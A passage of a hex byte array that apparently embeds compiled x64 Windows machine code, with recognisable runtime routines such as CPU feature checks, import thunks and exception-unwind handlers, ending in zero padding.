0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0F, 0xA3, 0xC1, 0x73, 0x14, 0x44, 0x8B, 0x05, 0x5F, 0x64, 0x00, 0x00, 0x41, 0x83, 0xC8, 0x01, 0x44, 0x89, 0x05, 0x54, 0x64, 0x00, 0x00, 0xEB, 0x07, 0x44, 0x8B, 0x05, 0x4B, 0x64, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x41, 0x8B, 0xF1, 0x45, 0x8B, 0xD1, 0x45, 0x8B, 0xD9, 0x41, 0x83, 0xFE, 0x07, 0x7C, 0x65, 0x41, 0x8D, 0x41, 0x07, 0x33, 0xC9, 0x0F, 0xA2, 0x89, 0x45, 0xF0, 0x8B, 0xF2, 0x89, 0x5D, 0xF4, 0x44, 0x8B, 0xCB, 0x89, 0x4D, 0xF8, 0x89, 0x55, 0xFC, 0x0F, 0xBA, 0xE3, 0x09, 0x73, 0x0B, 0x41, 0x83, 0xC8, 0x02, 0x44, 0x89, 0x05, 0x0F, 0x64, 0x00, 0x00, 0x83, 0xF8, 0x01, 0x7C, 0x19, 0xB8, 0x07, 0x00, 0x00, 0x00, 0x8D, 0x48, 0xFA, 0x0F, 0xA2, 0x44, 0x8B, 0xD2, 0x89, 0x45, 0xF0, 0x89, 0x5D, 0xF4, 0x89, 0x4D, 0xF8, 0x89, 0x55, 0xFC, 0xB8, 0x24, 0x00, 0x00, 0x00, 0x44, 0x3B, 0xF0, 0x7C, 0x13, 0x33, 0xC9, 0x0F, 0xA2, 0x44, 0x8B, 0xDB, 0x89, 0x45, 0xF0, 0x89, 0x5D, 0xF4, 0x89, 0x4D, 0xF8, 0x89, 0x55, 0xFC, 0x48, 0x8B, 0x05, 0x4D, 0x59, 0x00, 0x00, 0xBB, 0x06, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0xFE, 0xC7, 0x05, 0x42, 0x59, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x05, 0x3C, 0x59, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x05, 0x29, 0x59, 0x00, 0x00, 0x0F, 0xBA, 0xE7, 0x14, 0x73, 0x1B, 0x48, 0x83, 0xE0, 0xEF, 0xC7, 0x05, 0x1D, 0x59, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x05, 0x0E, 0x59, 0x00, 0x00, 0x89, 0x1D, 0x14, 0x59, 0x00, 0x00, 0x0F, 0xBA, 0xE7, 0x1B, 0x0F, 0x83, 0x2B, 0x01, 0x00, 0x00, 0x33, 0xC9, 0x0F, 0x01, 0xD0, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xD0, 0x48, 0x89, 0x55, 0x20, 0x0F, 0xBA, 0xE7, 0x1C, 0x0F, 0x83, 0xF6, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x20, 0x22, 0xC3, 0x3A, 0xC3, 0x0F, 0x85, 0xE8, 0x00, 0x00, 0x00, 0x8B, 0x05, 0xDC, 0x58, 0x00, 0x00, 0xB2, 0xE0, 0x83, 0xC8, 0x08, 0xC7, 0x05, 0xC9, 0x58, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x89, 0x05, 0xC7, 0x58, 0x00, 0x00, 0x41, 0xF6, 0xC1, 0x20, 0x74, 0x5D, 0x83, 0xC8, 0x20, 0xC7, 0x05, 0xB0, 0x58, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x89, 0x05, 0xAE, 0x58, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x03, 0xD0, 0x48, 0x8B, 0x05, 0x96, 0x58, 0x00, 0x00, 0x44, 0x23, 0xC9, 0x48, 0x83, 0xE0, 0xFD, 0x48, 0x89, 0x05, 0x88, 0x58, 0x00, 0x00, 0x44, 0x3B, 0xC9, 0x75, 0x32, 0x48, 0x8B, 0x45, 0x20, 0x22, 0xC2, 0x3A, 0xC2, 0x75, 0x21, 0x48, 0x8B, 0x05, 0x72, 0x58, 0x00, 0x00, 0x83, 0x0D, 0x77, 0x58, 0x00, 0x00, 0x40, 0x48, 0x83, 0xE0, 0xDB, 0x89, 0x1D, 0x69, 0x58, 0x00, 0x00, 0x48, 0x89, 0x05, 0x5A, 0x58, 0x00, 0x00, 0xEB, 0x07, 0x48, 0x8B, 0x05, 0x51, 0x58, 0x00, 0x00, 0x0F, 0xBA, 0xE6, 0x17, 0x73, 0x0C, 0x48, 0x0F, 0xBA, 0xF0, 0x18, 0x48, 0x89, 0x05, 0x3F, 0x58, 0x00, 0x00, 0x41, 0x0F, 0xBA, 0xE2, 0x13, 0x73, 0x4A, 0x48, 0x8B, 0x45, 0x20, 0x22, 0xC2, 0x3A, 0xC2, 0x75, 0x40, 0x41, 0x8B, 0xCB, 0x41, 0x8B, 0xC3, 0x48, 0xC1, 0xE9, 0x10, 0x25, 0xFF, 0x00, 0x04, 0x00, 0x83, 0xE1, 0x07, 0x89, 0x05, 0x92, 0x62, 0x00, 0x00, 0x48, 0x81, 0xC9, 0x28, 0x00, 0x00, 0x01, 0x48, 0xF7, 0xD1, 0x48, 0x23, 0x0D, 0x05, 0x58, 0x00, 0x00, 0x48, 0x89, 0x0D, 0xFE, 0x57, 0x00, 0x00, 0x83, 0xF8, 0x01, 0x76, 0x0B, 0x48, 0x83, 0xE1, 0xBF, 0x48, 0x89, 0x0D, 0xEE, 0x57, 0x00, 0x00, 0x41, 0x0F, 0xBA, 0xE2, 0x15, 0x73, 0x14, 0x48, 0x8B, 0x45, 0x20, 0x48, 0x0F, 0xBA, 0xE0, 0x13, 0x73, 0x09, 0x48, 0x0F, 0xBA, 0x35, 0xD3, 0x57, 0x00, 0x00, 0x07, 0x48, 0x8B, 0x5C, 0x24, 0x38, 0x33, 0xC0, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x10, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0x33, 0xC0, 0x39, 0x05, 0xD4, 0x57, 0x00, 0x00, 0x0F, 0x95, 0xC0, 0xC3, 0xFF, 0x25, 0xAA, 0x19, 0x00, 0x00, 0xFF, 0x25, 0x8C, 0x19, 0x00, 0x00, 0xFF, 0x25, 0x6E, 0x19, 0x00, 0x00, 0xFF, 0x25, 0x58, 0x19, 0x00, 0x00, 0xFF, 0x25, 0x4A, 0x19, 0x00, 0x00, 0xFF, 0x25, 0x3C, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xBE, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB0, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xA2, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xC4, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB6, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xF0, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xF2, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xF4, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xAE, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB0, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB2, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB4, 0x19, 0x00, 0x00, 0xFF, 0x25, 0xB6, 0x19, 0x00, 0x00, 0xCC, 0xCC, 0xB0, 0x01, 0xC3, 0xCC, 0x33, 0xC0, 0xC3, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x45, 0x8B, 0x18, 0x48, 0x8B, 0xDA, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xC9, 0x41, 0xF6, 0x00, 0x04, 0x4C, 0x8B, 0xD1, 0x74, 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x43, 0x08, 0xF6, 0x44, 0x01, 0x03, 0x0F, 0x74, 0x0B, 0x0F, 0xB6, 0x44, 0x01, 0x03, 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, 0x5B, 0xE9, 0x29, 0xEF, 0xFF, 0xFF, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x49, 0x8B, 0x59, 0x38, 0x48, 0x8B, 0xF2, 0x4D, 0x8B, 0xF0, 0x48, 0x8B, 0xE9, 0x49, 0x8B, 0xD1, 0x48, 0x8B, 0xCE, 0x49, 0x8B, 0xF9, 0x4C, 0x8D, 0x43, 0x04, 0xE8, 0x6C, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0x04, 0x24, 0x66, 0xF6, 0xD8, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x45, 0x1B, 0xC0, 0x41, 0xF7, 0xD8, 0x44, 0x03, 0xC0, 0x44, 0x85, 0x43, 0x04, 0x74, 0x11, 0x4C, 0x8B, 0xCF, 0x4D, 0x8B, 0xC6, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCD, 0xE8, 0xA4, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xFF, 0x25, 0xD3, 0x17, 0x00, 0x00, 0xFF, 0x25, 0xF5, 0x17, 0x00, 0x00, 0xFF, 0x25, 0xCF, 0x17, 0x00, 0x00, 0xFF, 0x25, 0x11, 0x18, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x25, 0x42, 0x19, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x40, 0x48, 0x83, 0xE5, 0xE0, 0x49, 0x8B, 0x8D, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x20, 0xE8, 0xBD, 0xD8, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x40, 0x48, 0x83, 0xE5, 0xE0, 0x49, 0x8B, 0x8D, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x40, 0xE8, 0x92, 0xD8, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x40, 0x48, 0x83, 0xE5, 0xE0, 0x49, 0x8B, 0x8D, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x20, 0xE8, 0x67, 0xD8, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x40, 0x48, 0x83, 0xE5, 0xE0, 0x49, 0x8B, 0x8D, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x40, 0xE8, 0x3C, 0xD8, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x20, 0x83, 0xE0, 0x02, 0x85, 0xC0, 0x74, 0x15, 0x83, 0x65, 0x20, 0xFD, 0x48, 0x8D, 0x4D, 0x50, 0x48, 0x81, 0xC1, 0x88, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x10, 0x16, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0x48, 0x8D, 0x8A, 0x50, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x10, 0x48, 0xFF, 0x25, 0x00, 0x16, 0x00, 0x00, 0x48, 0x8D, 0x8A, 0x50, 0x00, 0x00, 0x00, 0xE9, 0x34, 0xA2, 0xFF, 0xFF, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x20, 0x83, 0xE0, 0x08, 0x85, 0xC0, 0x74, 0x0D, 0x83, 0x65, 0x20, 0xF7, 0x48, 0x8B, 0x4D, 0x40, 0xE8, 0xC4, 0xD7, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x50, 0x00, 0x00, 0x00, 0xE9, 0xA4, 0xD7, 0xFF, 0xFF, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x38, 0x83, 0xE0, 0x01, 0x85, 0xC0, 0x74, 0x0D, 0x83, 0x65, 0x38, 0xFE, 0x48, 0x8B, 0x4D, 0x48, 0xE8, 0xC4, 0xD0, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x51, 0xD7, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x4D, 0x60, 0xE8, 0x2D, 0xD7, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x8B, 0x45, 0x08, 0x83, 0xE0, 0x04, 0x85, 0xC0, 0x74, 0x18, 0x83, 0x65, 0x08, 0xFB, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0x48, 0x81, 0xC1, 0xB0, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x18, 0xFF, 0x15, 0xEC, 0x14, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x10, 0xE8, 0x69, 0xCF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0xE8, 0xB2, 0xB1, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x4D, 0x18, 0xE8, 0x4E, 0xD6, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0xD8, 0x00, 0x00, 0x00, 0xE8, 0x27, 0xD6, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0x00, 0xD6, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0x40, 0x55, 0x41, 0x55, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0xEA, 0x48, 0x8D, 0x6A, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8D, 0x8D, 0xC0, 0x00, 0x00, 0x00, 0xE8, 0x19, 0xCF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5D, 0x5D, 0xC3, 0xCC, 0x48, 0x8D, 0x8A, 0x50, 0x00, 0x00, 0x00, 0xE9, 0xC4, 0xD5, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x40, 0x01, 0x00, 0x00, 0xE9, 0xB4, 0xD5, 0xFF, 0xFF, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x20, 0x83, 0xE0, 0x01, 0x85, 0xC0, 0x74, 0x15, 0x83, 0x65, 0x20, 0xFE, 0x48, 0x8D, 0x4D, 0x30, 0x48, 0x81, 0xC1, 0xA8, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x94, 0x13, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0x48, 0x8D, 0x8A, 0x30, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x10, 0x48, 0xFF, 0x25, 0x84, 0x13, 0x00, 0x00, 0x48, 0x8D, 0x8A, 0x30, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x08, 0xE9, 0x34, 0xCE, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0x30, 0x00, 0x00, 0x00, 0xE9, 0xA8, 0xB5, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0xA0, 0x00, 0x00, 0x00, 0xE9, 0x44, 0xD5, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0x80, 0x00, 0x00, 0x00, 0xE9, 0x38, 0xD5, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0x00, 0x02, 0x00, 0x00, 0xE9, 0xBC, 0x9B, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0x70, 0x00, 0x00, 0x00, 0xE9, 0xD0, 0xC1, 0xFF, 0xFF, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x40, 0x83, 0xE0, 0x02, 0x85, 0xC0, 0x74, 0x18, 0x83, 0x65, 0x40, 0xFD, 0x48, 0x8D, 0x8D, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC1, 0x88, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xFD, 0x12, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0x48, 0x8D, 0x8A, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x10, 0x48, 0xFF, 0x25, 0xED, 0x12, 0x00, 0x00, 0x48, 0x8D, 0x8A, 0x80, 0x00, 0x00, 0x00, 0xE9, 0x11, 0xCE, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0xC8, 0x00, 0x00, 0x00, 0xE9, 0xC5, 0xD4, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0xE0, 0x01, 0x00, 0x00, 0xE9, 0xB9, 0xD4, 0xFF, 0xFF, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8B, 0x45, 0x40, 0x83, 0xE0, 0x04, 0x85, 0xC0, 0x74, 0x18, 0x83, 0x65, 0x40, 0xFB, 0x48, 0x8D, 0x8D, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC1, 0x88, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x96, 0x12, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0x48, 0x8D, 0x8A, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC1, 0x10, 0x48, 0xFF, 0x25, 0x86, 0x12, 0x00, 0x00, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0xEA, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x58, 0x00, 0x00, 0x00, 0xE9, 0x44, 0xD4, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x74, 0x93, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x28, 0x00, 0x00, 0x00, 0x48, 0xFF, 0x25, 0x7A, 0x12, 0x00, 0x00, 0x48, 0x8D, 0x8A, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x86, 0xE2, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x20, 0x00, 0x00, 0x00, 0xE9, 0x44, 0xE8, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x8A, 0x20, 0x00, 0x00, 0x00, 0xE9, 0x34, 0xD8, 0xFF, 0xFF, 0x48, 0x8D, 0x8A, 0x20, 0x00, 0x00, 0x00, 0xE9, 0x38, 0xD6, 0xFF, 0xFF, 0x48, 0x89, 0x54, 0x24, 0x10, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x48, 0x8B, 0x55, 0x60, 0x48, 0x8B, 0x02, 0x48, 0x63, 0x48, 0x04, 0x48, 0x03, 0xCA, 0x41, 0xB0, 0x01, 0xBA, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x5F, 0x11, 0x00, 0x00, 0x90, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0xCC, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8A, 0x4D, 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xE9, 0x5B, 0xF2, 0xFF, 0xFF, 0xCC, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x8A, 0x4D, 0x20, 0xE8, 0x49, 0xF2, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xC3, 0xCC, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xE9, 0xBA, 0xF0, 0xFF, 0xFF, 0xCC, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xEA, 0x48, 0x8B, 0x01, 0x8B, 0x10, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x89, 0x54, 0x24, 0x20, 0x4C, 0x8D, 0x0D, 0xF3, 0xEB, 0xFF, 0xFF, 0x4C, 0x8B, 0x45, 0x70, 0x8B, 0x55, 0x68, 0x48, 0x8B, 0x4D, 0x60, 0xE8, 0xFB, 0xEF, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0xC3, 0xCC, 0x40, 0x55, 0x48, 0x8B, 0xEA, 0x48, 0x8B, 0x01, 0x33, 0xC9, 0x81, 0x38, 0x05, 0x00, 0x00, 0xC0, 0x0F, 0x94, 0xC1, 0x8B, 0xC1, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xEB, 0x41, 0x48, 0x8B, 0x03, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x89, 0x05, 0x82, 0x54, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x48, 0x8B, 0x40, 0x10, 0xFF, 0x15, 0x4D, 0x13, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x85, 0xC0, 0x74, 0x11, 0x48, 0x8B, 0x10, 0x48, 0x8B, 0x02, 0xBA, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x34, 0x13, 0x00, 0x00, 0xBA, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xE8, 0x43, 0xEB, 0xFF, 0xFF, 0x48, 0x8B, 0x1D, 0x48, 0x54, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x75, 0xB3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 